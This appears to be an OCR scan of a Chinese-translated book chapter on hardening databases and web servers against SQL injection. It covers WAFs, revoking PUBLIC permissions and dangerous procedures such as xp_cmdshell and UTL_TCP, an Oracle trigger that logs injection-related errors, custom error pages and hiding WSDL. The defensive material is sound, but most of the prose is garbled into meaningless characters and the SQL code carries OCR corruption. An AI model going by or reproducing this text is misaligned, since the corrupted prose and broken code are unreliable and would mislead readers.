Al LAE A4 45 (3 T 48 ) IDS(Intrusion Detection Systems)SRA#ll SQL ¥ A Bt . {HiX
IDS BEES R FHFN Web RS #4EHE, @H NEBEFEEMERE. MR CEAEMEPIET T X
FIDS, WA LUESCE IR HAE AR R .

BIE YL, af LUK WAF PB4 —FaAER 00 IDS, BAEEATAENH EIF B ol 5t 52 {f4°
MR BEATIOUR . K Z B0 WAF #IIH A — s S ohae. 2 RN ARES,
SRS X R I) e P A e A1 JE R o WAF. ] DU R e AT i B T o 0 1) A B A R IR 3,
BB 5L 2 JE BT AR E X R TR R B RS B, 4R B U/ S 5UR & S PR R SR PH 2B
o N RN T,

—FhikFE 2 PHPIDS(http:/php-ids.org/)IXFERI R A AR R 7 & . PHPIDS A&ty
ST BRI, BRI B AR A E R R R . LB 3 VO R AT B 1 H AR e B TR A BA
KIE—HEREOK e-mail. AR GEE R FEEFRAEZERERANM 4.

9.2.7 HUEFEERL AIE

BAT A B S — PP AT RS B AR B B K, AR LR — P TN R S
Z ] R A 55 2% - I P R B B B4R P B KO AR E W BN BER FE IR R IE Bl . BOs FERR
KRS AW, WRIANEZAEN, W eFsBiERSHJMUHIT. R2Z, WE
IHRERN, WRLIEEAT R W Bl EE B KO wT DU DA 3 3 480 X M A0 e () 57 B £
K AT BEAT R SR A A R RO AT W N 2 IDS. 5 SQL AT S B8 FED KBS 7E
#hl5 WAF A 1iFE%E Web MAIRZRGHIBENEW, ENAKLTEBERCHKMSL, M
HEWm R DR, o8 X s QR E N RIS TR BRI . 12000 00 SR 98 17 ) 3%
HEER I B EUEEE RN ER RIS SHEE(E HE, BHES). £ WAF 98EMR
N AR A BRI LAR Web BREAFHEZEMIFERAE. FEITELR LR —orb
J& GreenSQL, AJLLM www.greensql.net b 4%,

93 HARKIEEZE

K A AR SQL ARG, " LARIUFFIREF . Ab] LABET 2R
MIEEA S, HRIEN AR, IXLHEE al fRAER A RN AR &M A A B
MAFR G BB & BB EATIR S IEARER), Batesntt. o, Bitid
AJ BB TR ROHE P i 95 28 LB 12 B 2 A AR 2 A5 AR M A R . AT A TR A 41— 22 PR B 13 H 4
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YERE T @Ik, Z G 8 LR P ik 55 AR WAL SR LU 5 B BH BB BR B 7 9F PR 1 U7
fE 8t A B R IR 4 A% R BRI MR S AR TR . B B S i Se S AN AR R R B R A A D R LA
BRI N R B ThRE. BRI BIOL AR, TRAR ISR IR R B BT R AT R,
171038 55 45 AN 0 S R A A T RE ARG 3R

9.3.1 $HER AR

AL ALK SQL HEABLE T BRI HEHRER AR, 2 EEMHE SR
i8] ) 75 i (B 5 3 B DY A AL 2 N Bl ).«

1. ERRESIROBEESR

N A EE D EERE RSB/ EFIBE N ZE: FH T HERTHEENNETS. XMt
REEPER ] B3 AR SQL FEA AR, B PRSI 7 B2 A A 5 52 B i 5 F B al LA ) 340
TR, Blin, FTHRES B RE Web MR (ELIT R A& M SO7E BN T, NAi%F
RR AT P B L TR R (TR, RV R W SR M BEEE, Hohals
X LA F2 1 EXECUTE V] fI/b ¥£ 51 SELECT 7. #t SQL FEAT S, XEFED
ATULK AT RERI M S M BIEE N HEEENFEEBAE L, FHIEBHXMEENEE
SQL(ELfn M BGHE FE H R R AT BRAE R 5@ 2). —EEIOH, BMETA TiXF R,
Yok o AR AR 888 1 b 55 3N I B B IO AR P 140 & 353 . '

HHE NG BIRFESE R, TFFIREA AR R HBERTA 1 3E 0 B e A (b
MANRBIEEEE R fMAE), HAELT, SN ZE ML AaE VARG -6,
B kHEENALS B E VA AAKFT MAMEENEERYE . HEYRERSR S, U
HlE R T 4R e 2 v ) B R B s SCR £ 6 1A L% UPDATE 2 INSERT 48], A]
DL S8 R IR 45 28 P 6 B B AL B B T AR E S B WIS 6 1 SQL K iTXLbdH &

2. #%§ PUBLIC ¥ 7]

TR YR PR S5 88 F & I - MR AL A ANBRUARTE ERIERTE).
EREABARFTE, PR RENRAIV . BabHERXMHBRIN R &R REH
3R LA 22 H B P A% 3 Bl o TR 4 0] i 80 1 0 A9 I 5 1 00 B 3R (481 B e 47 i N Y 38 R FRAE )
K)o AHAERYRT THATAERLAMFLRE. WA TEEB NIRRT,

HBHERELEMEREAILABK, BUUEAZER LA T MBI, FASMER
PER P e R Z M BRIV . R AT REME RN RO A LM EVFRT . Bhsh, BB AU A
B 58 SCHE Xt B R IR AN T I R )R T M A JE A CARITURVF AT, BRIEAFIERIVF RTH
HEEKE N, BENTTLY 85 XAGESRLEREFT . 7TUMER XS A AR AR E R
AR T BRI UT 1 B3 o

3. ERFHEIRE

ML AR, NAZK N R SQL A $ 3 FIE #2743 H R A X 43 8 8T EXEC
YT, AT CAMAYREN R EATE HARYFAT, thin SELECT. INSERT %%. #f SQL AT, &
A PR A B3 P G s (N H 7 i 72 R 445 EXECUTE 8 7] ) AT {5-51F 57 #E [ 1) 53 28 1R [A) 4T 55 45
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B, BOFARRMRIESSZ SQL HEAKRE, BAALZERRNTEFETFRIBRAS. 1t
G, ArE s HoAh 2 REUAE R AR, HRIfEA SQL HiERIK

4. ERABXMIMERARRRIFFEOERLE

FAREAUBOE P BUREAR R AR, — MBS R KRB AR, 7T
M ) 77 1 L FE A A 2R (X S m A (M FE B0 4 51 ) B A7 Al (6 I X AR BB I 5 O il . X
Ty o0 25 I %48 FH Th BB SR K A LN & Bk . RUAT Rl 40 (o F [ P ) I &5 g ek 7 8 .

WRNFEFERIELY, WA WFHE FERRTERESES . IMHERBEFEFH
TEAEA S AEHE, o4 ELLRBASER. WRBEE B EE I FE X LHUE
M3, ok RFOSMESIRG, BiidE Laies JiFen i ag 0% 7 4 2] 4 BE3RELE IE
FAEIE. MABM S —NHEMRSRLEHERBR T SMEMHRFCRE &S, ZHERS R R
R, EHRITERS A REASEHRFE T EREFE ARG ZMREW, thin MDS
SHA-1. i

TR LA AEBUREE, WIF (A s KA X FR 0 B Egok AT RS, Ho AES(RI U #
FrdE) Bk = 5 DES(EUE In & Frdk) . MESUREIE N EERR R FEHRFR — N HEHELRE
SR B E . AEABRERT A EINE R FEH. BHEERITRIRS S n R RIEH
HOoRF R A 484 . R FH e IEE TR R4, B2 HFG L e TREB[BHIAFPEA S
BEARGRIE N AR AR, #HAFALP RO ERRE MR ER). AL, &
KEEAN GRS, BT P B HERE AT MR BRI R T BN
FHAR %28 F 2R A B, Xk, X ot 7% 2 (6] 0 5 m s e R 45 25 R0 R A Ak
S A HEfE® S . £ Windows B35, AT LUE A DPAPICEHE (R4 API)n%E N 03 - FU i #
VERG R LEHIEMEEY. B—F4E 3 Windows KIHERAE Windows M FEPIEMEEH.
Windows 7 it 38 & — F b o) 8400 S AR ST A B O 83 Z¥ RO A =X, Bt LU A 0t o SRR A SR P2 AL
WA EEEHSE AP . BRI X ERE RS MM it Linux AiR553%).
MNZFEN A T RS ACL FIXH REMZ R R EFEFEHEA T EEANE
). EEEFMR, Microsoft SQL Server 2005 1 Oracle Database 10g Release 2 4< Jfi_E 3 RF
FIGEINE . A, X8RP BRI RIZELRE Z MINAE XS SQL AR, Blhixse
5 BB & A N B RS T .

5. H#PF— M HERER

Ao I8 FH O FE X B U ) o B ERER AR X . AL, AR NI RERE R AT %
B, WRKHFERE, WA YHI SQL HABELR, KR T #NHERK TRBIERE
BEGS . REB/OFLHHETRSIERME LEY. FEXMASEE T RAEENOERES
%, RAERERE XN AMFES . TLUHAFELRERESIFNFEEER:. A0, HiFm
R D7 A BIE AR 2% . BT LM Al R B A MR AE I AT R B BT B4R AE, T EA R BESCRE
(7 o oL 2 B AT IR 45 R A R B . AACRR B, ANTEE SO (7T B9 U 1 ACRS RP AT 1R 50 ok X
FRThBEA IEIBAA MR b o (AR B8R, — 52 B CRERIB A 1 1R £ LUEE S 5 B N ARESAI K
PeREtR R, [ PR RS MRS S iR 2B LUBE S iX SR R K SQL HEAN . FHERAUT
41—~ Oracle 48 2 o i1 fil 2 8% LA {5 S 07 3t 2 6% 4 i 3B 6 ik iz B8 SR AL T HE R SQL ¥
AVt '
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Oracle $ixfih % 8%

Oracle $24t T —F 42 K Hoii e b 5 B A4 1. 24 AT SE B4 (Fe n 6 8 DDL (#5048 2
XiEE, Han DDL fil & 881802 HH B 308 48R [ Ho il ERROR fih R AR10), XK AR S TER
FEPFTEE N SOE, WSRO T —R0 8 5 7 i kil SQL ##E Ak,

REHIHOLT, SQLIEAZREDER T Z V)04 RM A, K “ORA-01756 Single
quote not properly terminated” 2 “ORA-01789 Query block has incorrect number of result
columns”. XA RN BKIB AR, BHEER F T SQL HEAKE RME—K, FrlaTLl
R B R B0 R R B I KR

FEUREL RS FHIFFERS Oracle $3E EH 1) SQL A 223iR

-- Purpose: Oracle Database Error Trigger to detect SQL injection Attacks
-- Version: v 0.9
-- Works against: Oracle 9i, 10g and 1lg
-= Author: Alexander Kornbrust of Red-Database-Security GmbH
—-= must run as user SYS
—-latestversion:http:/IWWw.red—database-security.com/saripts/oracle_error_
trigger.html
—-- Create a table containing the error messages
create table system.oraerror |
id NUMBER,
log_date DATE,
log_usr VARCHARZ (30),
terminal VARCHARZ (50);
err_nr NUMBER(10),
err msg VARCHARZ (4000),
stmt CLOB
)i
-- Create a sequence with unigque numbers
create sequence system.oraerror seq
start with 1
increment by 1
minvalue 1
nomaxvalue
nocache
nocycle;
CREATE OR REPLACE TRIGGER after error
AFTER SERVERERRCR ON DATABASE
DECLARE
pragma autonomous_transaction;
id NUMBER;
sql_text ORA_NAME LIST_T;
v_stmt CLOB;
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n NUMBER;
BEGIN
SELECT oraerror seg.nextval INTO id FROM dual;

n := ora_sqgl_txt(sql_text);

IF n >= 1

THEN

FOR i IN 1..n LOOP

v_stmt := v_stmt || sgl_text(i);
END LOOE;

END IF;

FOR n IN l..ora server error depth LOOP
- log only potential SQL injection attempts
-- alternatively it's possible to log everything
IF ora_server_ error(n) in ('9%00', '906','907','911",'917','920, 923", '933",'970"',
'1031', 1476, '1719","1722","1742",'1756",1789"','1790",'24247",'29257",'29540")
THEN
-- insert the attempt including the SQL statement into a table
INSERT INTO system.oraerror VALUES (id, sysdate, ora_ login user, ora_client
ip address, ora_server error(n), ora_server error_msgi(n), v_stmt);
-- send the information wvia email to the DBA
== <<Insert your PLSQL code for sending emails >>
COMMIT;
END IF;
END LOOP;

END after error;

/
9.3.2 $iEHIEERSE

PR N B 222 5, BATUIAR T ERE— LS 125 BASRA H B IR 5548 B B )
24%. 7E nutshell ', 7SI 5 BB 22 42 R AR — BN O 2R B AR R 40V I W RO B 1 &
4, BROREOR B S5 AR BRI SR B R HLAT T4 T W TIXR A XRBIFS, MABGLE
R AR VT ) B H BUR N A B EE R N A . TR DR LR

1. BOMY RGN RBIE

B T ARG B ERIA SRRV ATSh, 15 IR R ARSI P B — D B R AU B
Vi, A TREERNXNR. PATHRERG &R A MG ER . BRI B0
B RRA A, BB O REUER P V) 17 18 & M o3 R Uitk RIAE A A EMEARZ E A ).
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T T I R A N A IR T OLRVE AT AR R e 4 M IR 45 B8 I R Rt 4 T8 F R ok
R B 3 ) B0 A 1o IR 4% S0 T U 1) R 46 7 HEL P O RS R A R I AN £ 3K

7E Oracle &, NAZZIARGETHEME R A4 LUK B HE U 1) 8R4 RS2 SCHFRIBE ). h
B AR T8 A (PL)SQL A o) B RZ AT e RA M BRUT 30/, WEAE X Web NP IR
FFH#PR: CREATE ANY LIBRARY. CREATE ANY DIRECTORY. ALTER SYSTEM i
CREATE JOB. EMNiZM FHIEFE/LBE PUBLIC HR(REARVLFHFRE): UTL_FILE.
UTL_TCP. UTL MAIL., UTL SMTP. UTL INADDR. DBMS_ADVISOR. DBMS_SQL
DBMS_XMLGEN. #EiXEaHINRER VTR, WA AT 22K N A EREmA e,

7E SQL Server H, Ri%%EMIREKMFFM#EEFRE, i xp_cmdshell L5 xp_reg*.
xp_instancereg*# sp OA*JLACHIAEfk L. WRATIAT, TN & XL SO MR T £/
BCHIF ] .

2. YYRBNFEE#(ad hoc querying)

Microsoft SQL Server 37— 4% 5 OPENROWSET 1]y & K A Wi A A BER IR, iz
TR H A0 F 2 kb 7e T Rk R P e Sk e BT W 48 L A A BOHE R AR 55 3% . (ERIX - DhfiEE
WA HUAR 2,38, B ol UI7E S B SQL Server ¥ FE S FiE b E i m ik & 28 R B
iE . AT 8L 7E Windows YE T B9 HKLM\Software\Microsoft MSSQLServer\Providers {7 B ¥ 81~
BRI UL E 1) DisallowAdhocAccess BE A 1 A& X —4Ft.

5K, Oracle STHE{E B SR B MITE RS BORFEEA. BRANRT, HEmH,
ANEE KRB, %MK B, KA CREATE DATABASE LINK #P{(Oracle 10.1 2
BrE BB — ) R RO 7 LR ERMMA A, ARSI SRR ER.

3. HAIRFIIGE A RYE

NZE A BRI R, RASMBRALENNE, HnEBAKS . HSh, NiZE R
12 P IR 25 9 P 14 114 SR B 2544 LA 1 S 0 0 1 BG4 88 1 4 o BBl 3 W DA AR AR P B 55 RO K
P 3fe ) BOHE P R 4% B2 T R L RAE SRS TEHBIR TR . RS, B FlIRSy BR e A LU AL T BEROAT
K, NHREKBOER.

75 SQL Server ¥4 b, % 1B & [ 1 FHAE B Windows KiE DA A A 224 1] SQL. Server
A, XPE—3k, Wili#ELEE A OPENROWSET X FEM A 2R BHT EHRAUE. Buoh, X
F7 5V A T I LR SRR 1A AT B, HEE TR Windows BRYE RZERMEMNGR D4 Ak
Sl

4. ERRAREIRIERGEM P BEREPIET

R T HE s 2R O FE AR 55 S E RO E R BUE EE R LRI U AL, AN R AL T
B R E RGN P TE S o R G . NZRFIEAT 70 *nix FRGE L ISR FE ik 55 48 AR AF S
BSOS ES RO R T A 2 XALEE B MO REVFRDRSIT R T - 5. =
5L R, SQL Server 2005 K J& 15 BeR2 4 1% FR AT AR ff) NETWORK SERVICE Il f K
iZ4T SQL Server.
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TRSMHH--

SQL Server IN\ExfFR 2

4734 &2 M SQL Server 2005 FF%&, Microsoft €47 —#fAlesB E L L, A% SQL
Server Service Area Configuration, ZAF# AL L EHLRAGARTFLAME, @
Z #7449 SQL Server J& A 1| % £1& 47 Transact-SQL & ¢) 3,48 Windows Z A&+ i 5 I.
BAFeH R, BKIAHEIL T, SQL Server 2005 #/A T X % # ey aread .

5. MIREIRERSHITTHT

1 P 24 BT A9 TARE B B3 BB 2 — T A R 22N, (E10 R 3008 R 528 A= 1
5] Internet IR %5, WIREFHLZAMRIX— . Wi EENHE SQL NI RF F R 28
ARG R EE RS B TR — % E—REfie. FAMSEMATLLEFIA PL/SQL &+ SQL
FEARFAG— SQL #ré)F%, HEWLUEM AT B E S X 3 H 8 shell K. B
HEFHEHEARTIEFETNBEEZ % . AT LK SQL Server ¥ #H 5 Windows
Update(www.update. microsoft.com) @ 25 # 3K . Oracle (¥ & B 5 v LAE i ¥ A Oracle
MetaLink i 45 (https:/metalink.oracle.com/CSP/ui/index html) AT M4 RTKIEH . 75— FrfRFF4h
TEFNHEEFHS = TEHRERS. % 9-1 5 THBTHE SQL Server Ml Oracle 1%
EERE RRMRAR 4. RPLEETHTRERS S B OEE, ZufRos HERE

IREBRECHMIT THT .
#%£9-1 ¥I%E SQL Server/Oracle ¥#EFEIR &% &
8EE A 4 M x & E
SQL Server | select @@version www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/
tabid/63/Default.aspx
Oracle -- show database version www.oracle.com/technology/support/patches.htm

select * from v$version;

-- show version of
installed components
select * from dba_registry;
-- show patchlevel

select * fromdba_registry history;

9.4 HILEHHEF R

AA A B — LS R A HER CRUEFT R F N 22 4. XS EZ A T Web JiR



Bo&E FAEM® 317

45 %R ) 2% B A a5 MY B B AT R AL LA Bh B ZE 1 5 2 SQL AT I A BRG] . X
B b R TR 8 — R ERPLIE R W BT AR B3) SQL HNEHRATE. Hih, &
A A —2e7E BRI SQL FEN JE WIS (BO)BER A K HAR .

941 BMALERFSHHME

—Rk UL, RS HAT A RN ARLER B BB BGEE RKIN A PSS A, X
5 B AFERM AR B (AT A TERERHE A 5 B0 B B0 AR A) L5 R A R ICA X O 4 iR B
4, HmRAEEREERS MR LR SQL HIRHIR. TAVRA A — 7L N F R R S0
B ABRBX L5 B IHIRIL Web RFIBRCE R TTE.

1. REEIRHER

0,2 i R VR AR 5 4% SR UR RS S R B0 SQL SN RA R B SRR IR A .
3 F R 2 R A0 F 2T A B e R R B RS IR EE . Aid, BT AT @ R ith e f7F
fE IR TR AR mT et . BTRL, SR ARG R Y FHAE LRI (ER)Web R 4528 LLETE AR
FORHA B AR (L e 4 500 RZFS (K HTTP W[40, Internal Server Error])Bfi&[El—AH
SESCWRY o Tic BT O AT AR A Sl AV B B SCEPR TUE , AT BLE e [ BIBUA R
Web Tl R ETEANIZE RS FE A FREACHEAERAT . Ro-24 47—
xf B P A Web FR 45 23337 HR B DME ™ A HR AR E B & WL HIF .

#9-2 RTAEXBRERMNERRAR
- BEEES
ASP.NET Web % F 7E web.config 3%, # customErrors # % % On 5% RemoteOnly 3
# defaultRedirect B BN ERRFITE. H{EN defaultRedirect ALE
MR ERSE TREAME, XBEHEES !

<customErrors mode="0On"
defaultRedirect="/CustomPage.aspx">
</customErrors>

ERE REMT ASP.NET ¥iF. M4h, JHIEMEARBEZEL
FHEIR(500. 404 )i 4 BREECE A .

J2EE Web ¥l 7 webxml ¥ {4 ., {F Al <error-code> H! <location> JT & AC B
<error-page>Jt % .

<error-page>
<error-code>500</error-code>
<location>/CustomPage.html</location>

</error-page>

EEERERTH1H Java MARS BOHPOBER. i, BFEL
I 500 iR A S BoR A E T .
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Classic ASP/VBScript Web i

AR IS #EATAC B LAMERR R ASP 852 8. ] LU F )4
R ZRE:

(1) ¥£ “IIS Manager Snap-In” H4d Web % A%+ “Properties” .
(2) 7t “Home Directory” I L8 & “Configuration” $%%. #{F
¥ T “Send text error message to client” Y10, 3 HiZEM Fay 4
EPFEESMHER.

PHP Web K

7E php.ini 3CMFF, W F display_errors 24 Off. it4h, 7F Web %2
AEPRE MRS RECH. H2% FmmiT &g b et
Apache F 118 f1$5 4.

Apache Web R %52

M fg 1 B 5 LT ) Apache(fr T-Ac B 3, MWmEN httpd.conf)
#% I ErrorDocument $54 .

ErrorDocument 500 /CustomPage.html

11s

AILAMER FARERRE 1S P A AR

(1) 7£ “IIS Manager Snap-In” * 4 d7 Web ¥ 1 3%+ “Properties” .
(2) 7E “Custom Errors” I |8 “Configuration” 4. ¥
E B ESA HTTP #RFF8id “Edit” #4. BT RM “Message Type”
PRI AR AN OO ER URL kB BRI E.

AT DA T R B SRR AR 1R R A i R ACE A Web AR % 2%4 2 iR [ 41 )
HIMRRY, LRI ABHRAIE401. 403, 500 %)M EE M FIBRIAMET. RBE, RAX
Pl SRBE I N AZ A AN, A E RIFFSAEAEN R B RAT b B, RGN ANAY
T RUFHERACEA B0, TE 16865 0 N A B2 IR AL R S5 A T ok % B8, A4

M BN 7355 18R 12 SR B

2. ER=BIRIA Web 355

HTTP/1.1 thil(E3K HTTP % 7 7E &% 45 Web R4S 2R I0H K oF &% EHLLER. HMiH s
SEF) Web Wi, ZLMMAELIAE Web FRF B HERIEN AR PR XN LAMEICE . TURKRE
ULHEE, #REIBRIAK) Web s i N2 . Fltn, ZiRiE0 IP HhbbEBEF) Web 36 A1, £R[EIER
AR Web 3t SN2 . 15 B2 R M KB 7

GET / HTTR/1.1
Host: 64.233.169.104

<html><head><meta http-equiv="content-type" content="text/html;
charset=IS0-8859-1"><title>Google</title>
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IR RIS 64.223.169.104('E 3265 L Google Web 4% 28 i1 — A IP HaHb) ) — ik 3R
IR T, TRFHENTIHER Google MR IE . HALEX Google £F1THI, FEA Google 3
R0 E P b 2T FHL4 K719 1 . Google 7 2 Internet LT A4 I LR
&, AN Web I F A 5 ) 7T RE TS WO BR L, M AT SERET X3 O 80 A 443 BEAT IP
bk AR E R . AFERE S L AR T LR ERE] Web N GX R T S di
FAE TR EAE TR E S A AR D MEX R R CANN)), T ERKE Web RS 25 IBRIA Web 3 p{AT
T AR H] 45 (1 BRI\ Web T . REEEMA RS IEH YL, B2ET 1P Hhket4T #IY; 1A
2R S B RTINS AR 2R A%, BE, HREUNE, XE —FEED L
$, EEARLERAMIEARER R, B LA RNV HEN P Hhk 2RI 5 Z Bt
(1] Web &5 S B 3R (L iRIH #3588 SQL AR H).

3. 73 DNS R[5 iffE B EEN B

R Yhd, RN IP shhk, BAEEREEE Ui R Web 3 R ZBTRIAFRMI EHY, WFK
BRI R, ESIZEAR, — MR TE 1P Huhk ERAT—A R W DNS #Eif. R 1P
Hhohik ok AT L — N E Web RS52% ERIBFE M NG, B2RNTHIA THREEX Web 33
FIEENFER. A, RRAEHRETHACERKNAZELD 00l-43548¢24.companyabc.
com), ARt At & 6 DNS 75 ) 3R BH (E AN 2 RGN R Bk S B BATIHD Web 3. TR IE
LA B ENLAFREAR, MIEF{RERIAR Web 35 A b AL B UK [E1 2 B IA Web . [F]
BE, Xt R —FME R EELE, EEARTESE A EAEEK R, BTN H 3
R T (LR R 28 20 SQL VE A H1).

4. {EFBECH SSLIEH

il 5 BT % M 4% 1 T 1 AL SSL(Secure Sockets Layer, Z4FETFE)IFHRE.
BB R, - R T RAE FE A SSL AT 15« X EAE 1S nf LA{# A3 *.domain.com TR Hit
K8 FEZEANAFHBE4A. ENHREAE SSL iEBH, BEmREAE/LEET. WU E
http://help.godaddy.com/topic/234/article/857 k% T MM FFUE 15 LA K EA TN X 5] FHr#E SSL
EHHEZER.

5. FR#IETIRE 5| 8 Hacking FEIRI A I

RS ERE NS T3 Web i £t SQL iIEARTAN A —F LA, Internet EAFAERE
AHTAKEER, B2 PHEGESH T ES| % hacking IR, KRERMRIEE EMR
SRS A IEH Web B, FRAfbit U RS 1 EE R EREEN B3IBFERR
S PSR B — R . KRB ERIEERT|%E(Google. Yahoo!. MSN )13t T MR 5| A2
X iR Web ¥4 AN AR S BAEL TR, 08 MR &Y, B RKEAKRHER Web
ik AN H F 5 Y robots.txt S0 . %304 A T BHIEICAT 28 (crawlen) R B35 RS, THERT —
A robots.txt FR BB, SEIEFTANLEA “MEFT” Web b £1 LI FTA TUH:

User-agent:™*
Disallow:/

Ait, Google 32BE: fn ik N EEHE T H AU A, A4 EBRAE ol RET LT & PLIEICIT 85
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H#%5|. Google i iX{# M noindex JTHr%(meta tag), W FBR:
<meta name="robots" content="noindex">

TR R BRTEES I ENERE, SI1EB TRIPER Web TUH %2 A BRI
o www.google.com/support/webmasters/bin/answer.py?hl=en&answer=35301
e help.yahoo.com/l/us/yahoo/search/webcrawler/slurp-04.html

6. 31F WSDL 58

HH, Web JRF B Web N —HE5 % SQL AR . HFR Web A& P IMEIR, Wiid
TEMEEFS Web IR FEE, BITEAIE Web R4S BT SCH 185 B (B1n, SOAP. HTTP
GET %%). HEAMPENSH. FrHixes{s BTN Web B4 WSDL(Web Services
Description Language, Web IR &5 #i1AE 5) 3P #RELZ] . % BT Web IR URL fI45 R
BO—A~?WSDL R Z M. OF i 2 R AT BE ) A S22 B slox - -5 B

THERERT WA E —~ NET Web R4 MEARE/R WSDL. A UAXHZEE #7158 LA
% FH 211 % A (] web.config 8% machine.config L.

<webServeces>
<protocols>
<remove name="Documentation"/>
</protococls>

</webServices>

Apache Axis(Java RV Ff &5 48 HI 1 —FF SOAP[R 8%} %2 17 [a] il JWeb IREEE) A
XFECE WSDL 34, H TR B34 M. o LA7EARSS i) WSDD(Web [ 4% 1A S0R4) SC 44 il
wsdlFile #& 8 LL$; 8] — MR [B] 42 <wsdl/>H5 28 (301 .

R YL, PR XS FEE [ Internet () Web f 4528 E{RFF WSDL {5 B RIZ A2 i . AT LA
A Z2RERECCMNFELN e-mail)REEAEBNSES RN, AEHTA
TEXEE E LY Web HRFHATHL

942 EBEWeb BREZBHENTS

Web Al 5588 H & SO AT DSR4 — SRR 7 SQL AR IR, HHEEMNAHEE
FHHIAERN . WRFFEMCT URL 28+, BATR:EIE, X Apache il IIS BRIAENR T &1
HERERIZER. WRIEFERYTH Web MAMAREM HECRAES, EHERE Web IR
5 22 LUEH 5| AR cookie kPR R HE P . XA MBARSHINH E XA, EHFR &
$RHLIF%E cookie FI 5 | F SkFWCE 12 LI SQL FE AR (1 A SR AE AL B T i e I A 22 4038
fb. Apache F IS )E K 235 FNSF R LLE R POST HiEiCREIHEF. FSH “9.2 (¢
BATHHRS " — AT LAIREL R Web SLAS I MR (R R Sh e B 76 BT A B R Rk 5 8 .

9.4.3 FEMILEH _EERE Web BRF FR B R % 25

MBS AE [ — EHL EIBAT Web AR B FIBIE MR & 854, RhiXPEL BEW M
Web RN FH (27 T -6 2 BT R 7] Web A3 B AS T AE 28 58 AU 3018 IR 45 S8 1 R BB 48 T i 78
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B, #li, Oracle XML ¥ (XDB)<7E TCP %30 8080 &5 —f HTTP JRE 8RS . BLE
X RS R RIS ZEIE AN O A eAh, B E LR XSS ST NERE
AZIWARIT Web U5 181 (1 H R8N0, FF7E Web S 88 P & F 1%L R .

9.4.4 BELEMEiTEEH

O R IEFR I T, HOR RS S AT W EEMS . XM EEEE T
Wk T MR B, (HA, PIELHF Internet ) Web %4 5 ¥ SQL ¥ A\ &R R BUAIX Foh 5%
fRAEPIER o FE AR 200 P AR 45 28 0 EL BT R0 B, ki 2 W7 DA S e 3R] — W 4% B LA R 4.
REBHEGREE RSBV E IR T — MR FNERVIG WS ERE. HBBNX- A, EE%
SEBR P28 i) 2, LA Py B R P 0AR RS RN BR . 7T LATE RS BT KBS fh ACL
28 2 SEHZES ), Rl DU IPSec IXFEAI ENUZHURIR SEBL RS Hl. Hah, BafiiEme
A8 B 9 4% U i 4 1) LA BEL AL 1) A1 0 9 28 % 3 . TE0 & mT DA RO — 3 Bh Tk A0 Bl (B
DNS B H0if8 14 AR 55 2% B 0 R 25 P iSO R B A% 1 3008 HE 45 SR 1) B

9.5 AFT) 4

FEREREM Web MR LELRME) - NEERD . TTLLENMESN AR ETER
FERBIEATRHRITEARL W Web RS2 MM E M) LUER S, BHIEERRZE SQL EA. &
B HIBAT A AR R T SEER 14 S F B B B  F F B AR RS 65 o AT DASBAL MR R S5 34 UL B 3
W SZ I E K VER(FL N . R S5 28 A0 (E0) M & 4R ) AR R IE R BB Ui ia) . kb, B AT LLE
T4 5 R 4 B FIC 78 22 A ) Wb JEAM 45 MI SR I8 3 BRI R I B I L2 .

—RRERE, FEREIIFTRNAEERBHMERTE: 51% SQL AR L &mimE
AT 5B — L. FF 38k it i P 48 RN F RS ) 5 21T i MM T I B T i ik s & o
FER— PSR RIBTA, MMTHBATRHBERB T A SQL HEARM. NERIA KN HE L
FHINA, FEERLHMEBARLLRBMEEHARITS.

9.6 RiEkMEFE

. EREITRHRSS

o EIAEUURSES, ZATR R R VAT SQL FEA K — R MBI .
AR Y, Web NP KA LIAT AR . EANRITRBS SQL EA.

o ZBITHGRIAIUBBEE. T4, HPOUFEME. Web iFa8. NAMES LR EGREE
IR %548 o

 BRBREERS

PSR PE AR R AL SQL A, (BHITT Ll B BRI M.
RLi% R R A R SR . TEBUE BRI IR S 28, R AT iE N 45
AR AR R

—

1]
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o AV RMELTRHERESZR b, kil 7 {E EXECUTE ¥Frl. fhoh,
o} LR KR R M A P 9 00 8 B AR Rl AR L AR B UE R B T 1]

w

. BUMOEBEREIR

MRALIE K Web BB R M B LM AL SQLEA, {HEIT LS MR E LM,
mxf B shIBd & M B EL i SQL AR R), B/hMEME. Web MM E ER{5 St
FHAEB T RO 2.

o BRFNTH LR N 1 SO VB R BRUE I A E B R B BB P IR 55 28, HL B FE AR 55
#% 8 B ARNAZFE A R A R

9.7 &I AMME

] il -
&

5] -
B

) &8 :

%

] i :
MR-

AT R B Tk H 2 or b CABIIRTH, AT AR MBI 52 4158 — KB .
RITAART BB RIS, W RAZAEFBITRHMR Y . BEAh, FFEig 1T mHif gr ik
WD REfEZ RAFTH Web NP M EAZ %, EHHECFEATREN, Z178
BRI T — TR RN AR KT R G 3 B RE 70 L BERS vE B 3 47 7 2R o

H&.

EANTRIE T4 Web NPT KEE(WAF), A1 4m?

s, REUNEET — WAF, BRI CRMAELDHEE R . &4 WAF HY
W B AR Y 5 B2 B 1Y) Web BUTEIBK URL B RERLAN T ARG %% FREFER
FRAN L, BRAE WAF B2 &I — MM B4 ma R

ModSecurity JEH K, HIA1HR A EHIEDIZIT Apache. 1T Microsoft IS 3K iit.,
FR R R AN ?

UrlScan ! WebKnight #5 & % %2 (1] ISAPL i 3888, HUFHIEMR/DAITh R AT L€ 1)
HERF 0S h. WRIGERRRY POST ¥ %52 SQL i AKd:, N WebKnight
SR EN R AT LU F{# B ASPNET i) HttpModules, & 1 F ‘& 471 348 Bh 35t
ShE Web R4S B8 ECE He {17 JLF-HT A BESSZ1T7E IS L Web A, B1F 1IS 7.0
SCHE 1S i sk /ma B kb 3 4 18 (handling pipeline) P IFE ARG, EMHEMN TR LS
R E BT EAR.

At ABRANAEEESRTUERERERSENR? BHMMCT 8P IHIXPEL% ?
B R4 LR B R LT BT A MBEE BEE & M T — A e BT B R AR
AT, ZACERERIARAE, EEF—IRIIKTFTE, ZFIELFEEE
TP £ RGExT MV AR (EFE—LeE E AN AR R B . BACRRE M
EA S AGAENHEERE TSI A . ANERRMEOL, AN AT e B
JFETE B N I R 43 % 19 PUBLIC AT . PUBLIC £ 234 7] {0 30308 B o 21 & H) e 18 1E
B8 I Bl e T SR EURE IE F5 i F — N i R A
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)RR RATN AR E P INFEN QLSO m A2

BE: WERARLEN, BREABRFEEMEEAE. OLTE, FEDLREE LA
Tn#E i 045 AT EL, BRAIXRE AT RAGERN S 0 A1 SC i B AA B B )l A fE i 3 A
BAR DBV R OSBRI . R ERAE— XSSO HITHRE
(salt), LI — BREAE— a2 o x M R P it e . B fa, RE AL AT
K124 n& w4 ik, i SHA256.

